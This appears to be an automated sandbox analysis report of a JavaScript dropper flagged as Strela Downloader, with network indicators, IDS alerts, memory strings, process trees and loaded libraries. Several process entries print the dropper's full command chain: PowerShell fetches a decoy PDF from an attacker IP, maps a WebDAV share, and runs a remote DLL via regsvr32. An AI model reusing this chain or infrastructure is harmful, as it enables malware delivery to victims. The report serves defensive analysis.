73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49701

Source: global traffic

TCP traffic: 192.168.2.7:49701 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.7:51223 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49700 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1266761070.0000018AB8B05000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1266761070.0000018AB8B28000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1267017783.0000018AB8B28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000002.1336247548.0000020552F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000D.00000002.1336247548.0000020552F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/0
Source: net.exe, 0000000D.00000002.1336681573.0000020552F8B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1333631376.0000020552F8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/9
Source: net.exe, 0000000D.00000002.1336681573.0000020552F8B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1333631376.0000020552F8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/M
Source: net.exe, 0000000D.00000002.1336681573.0000020552F8B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1333631376.0000020552F8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/e
Source: svchost.exe, 0000000F.00000002.2546436685.0000022A7EC00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1342332993.0000022A7EA70000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.11.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 720, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 25717297553175212150.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/62@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7676

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6196:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e0rfcblu.uil.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25717297553175212150.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2272 --field-trial-handle=1528,i,1139957420689422641,14681408774083480319,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2272 --field-trial-handle=1528,i,1139957420689422641,14681408774083480319,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
